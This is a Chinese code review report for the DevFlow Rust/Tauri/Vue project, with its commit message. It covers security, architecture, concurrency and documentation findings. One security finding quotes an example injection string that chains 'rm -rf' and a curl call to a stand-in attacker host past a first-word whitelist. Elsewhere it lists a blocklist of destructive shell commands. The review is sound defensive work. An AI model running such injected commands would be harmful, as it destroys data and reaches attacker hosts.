Files
DevFlow/docs/05-代码审查/全量走查报告-2026-06-28.md
绝尘 ff3f153d45 修复: 安全加固+DRY 收敛+文档同步+测试补齐
安全:
- ScriptNode 默认黑名单兜底(rm/del/format/shutdown/mkfs/dd)
- bind_directory 分段 .. 检测替代 contains 子串(对齐 tool_registry)
- ai_providers 白名单移除 api_key(防 update_field 旁路写明文)

DRY:
- useAiEvents 抽 cleanupTerminatedConversation 统一三分支收尾
- 新增 useStoreAction 工具,4 个 store 替换 38 处 try/catch 样板

文档:
- df-core → df-types 批量替换(ARCHITECTURE/PROGRESS/SQLite-CRUD)
- INDEX 补齐 9 漏列文档(单对话并行多轮/跑题试验/工程系统设计等)
- Agent架构说明 死链修复(../构想审查/)
- AI对话引擎工具清单改为数量+按风险分组(不再用固定数字)
- ARCH 状态标签 设计阶段 → Phase 2 验证

测试:
- df-relay 新增 registry_test: ConnRegistry 路由 + RelayState + 16 项单测
2026-06-29 21:57:07 +08:00

16 KiB
Raw Blame History

全量走查报告2026-06-28

范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系 方法4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实 原则dry — 仅审查 + 文档,不改代码。误判项明确标注证据


🔴 安全

① ScriptNode — 白名单仅校验首词shell 元字符可绕过

文件: crates/df-nodes/src/script_node.rs:46-54

let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();

check_command_policy 只比对首词,剩余参数原样传入 sh -c / powershell -Command。攻击场景:工作流 JSON 写 "command": "git log; rm -rf /tmp/x; curl evil.com",首词 git 命中白名单即放行,; && $() 全部被 shell 解释执行。默认 DF_SCRIPT_WHITELIST 未设置时完全无防护,仅靠 dangerous_keywords 告警(不阻止)。

建议:① 默认启用黑名单(至少挡 rm/del/format/shutdown);② 对工作流 JSON 来源做信任链校验。

② MCP server 完全无鉴权

文件: crates/df-mcp/src/server.rs:37-44 + crates/df-mcp/src/lib.rs:11

注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 tools/call create_project / bind_directory 等工具调用。bind_directory(Medium) 可绑定任意路径让后续工具误以为已授权。

建议:启动生成 ephemeral token 写入应用 KVTauri CLI 子命令传 token每条 tools/call 校验。

bind_directory 路径检测不一致

文件: crates/df-mcp/src/tools.rs:328

MCP 端 bind_directory 仅做 path.contains("..") 子串检测,会误伤 my..file,且对 /etc/.ssh/../../etc/passwd 这类绕过场景不可靠。而 src-tauri/.../tool_registry.rs:114-145validate_path 已实现分段 .. 检测——两端不一致。

建议MCP 端复用 validate_path 的分段检测逻辑。


🔴 架构

④ AI 核心状态机焊死在 src-tauridf-ai 名不副实

证据

  • src-tauri/src/commands/ai/mod.rs 定义 AiSessionPerConvStateAiChatEventSessionState
  • src-tauri/src/commands/ai/agentic/mod.rs 实现 run_agentic_loop
  • df-ai crate 仅保留 Provider HTTP 实现 + coordinator.rs(空壳) + intent/planner(未接入)

ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试AI 状态机没有独立 crate 级单测。

建议:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。

⑤ df-project / df-ideas 伪分层

文件: crates/df-project/src/manager.rs(全文 ~80 行,仅 2 个工厂函数)

ProjectManager::create / create_from_idea 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 df-storage/src/crud/project_repo.rscommands/project.rs 直接调 ProjectRepo 完全绕过 ProjectManager。领域层"不依赖 storage 保持分层"形同虚设。

建议:要么删除 df-project要么真正把领域规则下沉进去。

⑥ TaskStatus 两套并存

证据

  • crates/df-types/src/types.rs:170 定义 enum TaskStatusas_str/from_db_str/is_valid
  • crates/df-nodes/src/task_state_machine.rs:33-56 又定义 7 个字符串常量 + is_valid_state

注释自称"严格对齐"但靠人工维护任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。

建议:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。

⑦ IPC 错误拍平为 String结构化信息全失

文件: src-tauri/src/commands/mod.rs:26 pub fn err_str<E: ToString>(e: E) -> String

df-types/error.rs 精心设计了 11 个变体(NotFound/Validation/InvalidState { current, expected } 等带结构化字段),但跨 IPC 边界时 .to_string() 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState无法做差异化处理如 NotFound→跳转列表 vs InvalidState→提示冲突

建议IPC 错误用 serde 序列化的 enum{ kind, message, ...fields }),前端按 kind 分支。

⑧ 配置四源并存relay token 两端契约不一致

证据

  • 环境变量:DF_RELAY_TOKENrelay 端缺失 panic/DF_SCRIPT_BLACKLIST/DF_SCRIPT_WHITELIST
  • DB KVapp_settings
  • AppState 内存AtomicU64/Usize
  • 硬编码常量:src-tauri/lib.rs:186 token = "devflow-relay-default-token"(与 relay 端强制 env 不一致)

桌面端硬编码默认 tokenrelay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。

建议:建立分层 Config 单例env > app_settings > 默认常量),跨 crate 共享。

⑨ 文档与代码严重失步

证据

  • ARCHITECTURE.md §4 写 df-core/ —— 实际是 df-types
  • PROGRESS.md §二/§三 同样写 df-core
  • docs/01-技术文档/SQLite-CRUD模式.md:79 引用 crates/df-core/src/error.rs
  • PROGRESS.md Sprint 15/17 把 knowledge 模块归属 df-evolve(已移除)
  • ARCHITECTURE.md §4 crate 树漏列 df-types/df-mcp/df-ai-core/df-relay/df-tunnelcrate 数量描述"9 crate"vs 实际 12

建议:批量替换 df-core → df-types更新 crate 树与规模表。


🔴 代码质量

⑩ useAiEvents — 终止收尾逻辑三处复制粘贴

文件: src/composables/ai/useAiEvents.ts:569-737

AiCompleted / AiError / AiHelpRequired 三个 case 重复执行同一套「会话终止收尾」逻辑clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem共 ~10 步骤在三个分支逐行复制。

建议:抽 cleanupTerminatedConversation(convId, reason) 公共函数。

⑪ Store 错误处理样板重复 38 处

证据src/stores/knowledge.ts 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次:

try { state.xxx = await api.xxx(...) }
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }

建议:抽 runWithCatch(state, i18nKey, fn) 工具。

⑫ idea_repo.rs — 注释承诺的测试不存在

文件: crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44

注释明示「任一处加列漏改会被测试 test_knowledge_cols_matches_record 立即捕获」,但全 workspace grep 零匹配。KNOWLEDGE_COL_COUNT#[cfg_attr(not(test), allow(dead_code))] 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。

建议:补 #[test] fn test_idea_cols_matches_record() 或改注释。

⑬ df-relay 完全无测试

df-ai 332 测试、df-storage 133 测试、df-nodes 86 测试,但 df-relay 0 测试(无 tests/ 也无 #[cfg(test)]。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。

建议:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。


🟡 并发与可靠性

⑭ SQLite 单连接 Mutex 串行化

文件: crates/df-storage/src/db.rs:13-16

pub struct Database { conn: Arc<Mutex<Connection>>, }

所有 Repo 共享同一连接。注释自承 TODO: 考虑使用 r2d2 连接池。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。

⑮ EventBus broadcast 容量与 Lagged 处理

文件: crates/df-workflow/src/eventbus.rs:16 + crates/df-nodes/src/human_node.rs:134-141

容量 256 + WorkflowEvent 混入 AI 流式增量 → 高频场景订阅者 Lagged → human_node.rs:134continue 策略可能漏自身 Response → HumanNode 等到超时。

建议:流式增量与审批响应分总线,或 Lagged 显式重发。

⑯ run_migrations 持有 tokio Mutex 守卫

文件: crates/df-storage/src/db.rs:48-53

V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。

文件: crates/df-storage/src/crud/task_link_repo.rs:116-138

注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 blocking_lock 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。

⑱ relay 默认监听 0.0.0.0

文件: crates/df-relay/src/main.rs:17

token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。

建议:默认改 127.0.0.1,外部访问显式 DF_RELAY_ADDR=0.0.0.0


🟡 代码简洁性

⑲ 大文件未拆分

  • src/components/ai/MessageList.vue 1552 行style 441 + script ~1100
  • src/views/IdeaDetail.vue 926 行style 481 + script ~300四域逻辑
  • crates/df-storage/src/crud/idea_repo.rs 1500 行IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具)
  • crates/df-nodes/src/human_node.rs 831 行

建议MessageList 抽 MessageBubble.vueIdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanelidea_repo.rs 拆三文件。

⑰ 组件内 toast 状态重复

文件: src/views/Settings.vue:103-112 + src/components/AiChat.vue:183-191

两个根组件各自维护 toast reactive + showToast逻辑完全一致。

建议:抽 composables/useToast.ts

㉑ TS any 滥用集中在 catch 和跨层透传

48 处 : any/as any

  • 类型 A38/48catch (e: any) → 改 unknown + 类型守卫
  • 类型 B:跨层 as any 透传未声明字段useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498

建议:补完 api/types.ts 真实字段AiMessage.errorType、Message.statusdefineExpose 建 interface。

㉒ AgentCoordinator deprecated 空壳

文件: crates/df-ai/src/coordinator.rs

已标 #[deprecated],全 workspace 零调用,但仍 pub mod coordinator 暴露导出。

建议#[cfg(feature = "multi-agent")] 隔离或删除git 历史可找回)。

㉓ planner.rs 11 处 #[allow(dead_code)]

builder APISubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。

㉔ app_settings KV 无 schema

SettingsRepo::set(key, value) 无 key 白名单(除 allowed_dirs新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。

㉕ 视图 CSS 重复 + tags 解析重复

  • Dashboard/Projects/Ideas/Knowledge 四视图各自定义 .btn/.btn-primary scoped 样式(项目已有全局 styles/components.css
  • Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑

建议CSS 收敛到全局tags 解析抽 parseTagsInput


🟡 文档

㉖ AI对话引擎文档工具清单过时

文件: docs/03-模块文档/AI对话引擎-2026-06-14.md §四

标题自称 12 个,表格 13 行,与 df-ai-AI集成模块.md 的 22 个严重对不齐。缺失 run_command/patch_file/list_trash/file_info/search_files/delete_task/restore_project/purge_project

㉗ INDEX.md 漏索引 9 个文档

子目录 漏列数 典型遗漏
专项设计 7 AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱
已编号方案 2 F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案
构想审查 1 跑题改进试验记录
根目录 2 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计

㉘ 死链

文件: docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4

[任务推进设计](任务推进构想-2026-06-14.md) 解析到专项设计目录下不存在,应改为 ../构想审查/

㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反

YAML 模板52行、AgentPersona struct11行、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。

㉚ ARCHITECTURE.md ~100 行已移除模块残留

§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。

㉛ ARCHITECTURE.md 状态过时

L3 状态: 设计阶段 与实际 Phase 2 验证阶段不符,应与 docs/INDEX.md 一致改为 Phase 2 本地优先开发流程验证


亮点

① df-ai/df-ai-core trait 下沉F-01

df-ai-core 零 HTTP 依赖(仅 5 个依赖df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。真实落地的解耦

② df-mcp advance_task 复用 df-nodes 状态机

MCP 与 IPC 都走 df_nodes::task_advance_node::advance_task_atomic推进链三层校验is_valid_state/can_transition/CAS/regression bump唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。

③ keyring 密钥下沉 + 迁移补偿

secret.rs 三阶段回落DB明文→OS keyring→空migrate_secrets_to_keyring 启动一次性迁移,失败计数达阈值升级 warn。AiProviderRecord 自定义 Debug 把 api_key 脱敏为 "sk-****"

④ SanitizedPath newtype 强类型

df-types/src/augmentation.rs:29 pub struct SanitizedPath(String) 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。

⑤ 取消路径 TOCTOU 三层防护

state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。

⑥ SQLite WAL + spawn_blocking 正确

所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用批量用事务原子提交WAL 模式读写不互斥。

⑦ 重试机制工业级

retry.rs ±50% jitterrand::thread_rng+ 错误分类Ok/Retryable/Fatal+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。

⑧ kill_on_drop + Windows CREATE_NO_WINDOW

shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程Windows 黑窗抑制。

⑨ TaskStatus is_valid 单测覆盖

df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界valid_values_all_pass_is_valid 锁定清单一致性。

⑩ SSRF 防护完整

http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。

⑪ V21 大版本迁移谨慎

BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。

⑫ 前端 composable 已大范围抽离

src/composables/ai/ 已拆 14 文件AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构8 个子 Section/Panel309 行壳)。


📊 汇总

分类 🔴 🟡
安全 3
架构 6
代码质量 4
并发可靠性 5
代码简洁性 7
文档 6
亮点 12
合计 13 18 12

总体评价核心安全架构扎实SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级前端架构演进健康composable 大范围抽离、Settings 已 master-detail 重构)。

主要问题集中在:

  • 架构债AI 核心状态机焊死 src-tauri#4、df-project 伪分层(#5、文档严重失步#9
  • 代码质量useAiEvents 三处复制粘贴(#10、Store 错误处理 38 处重复(#11
  • 安全细节ScriptNode 元字符绕过(#1、MCP 无鉴权(#2

优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13③ ScriptNode 默认黑名单(#1④ 抽 useAiEvents 公共函数(#10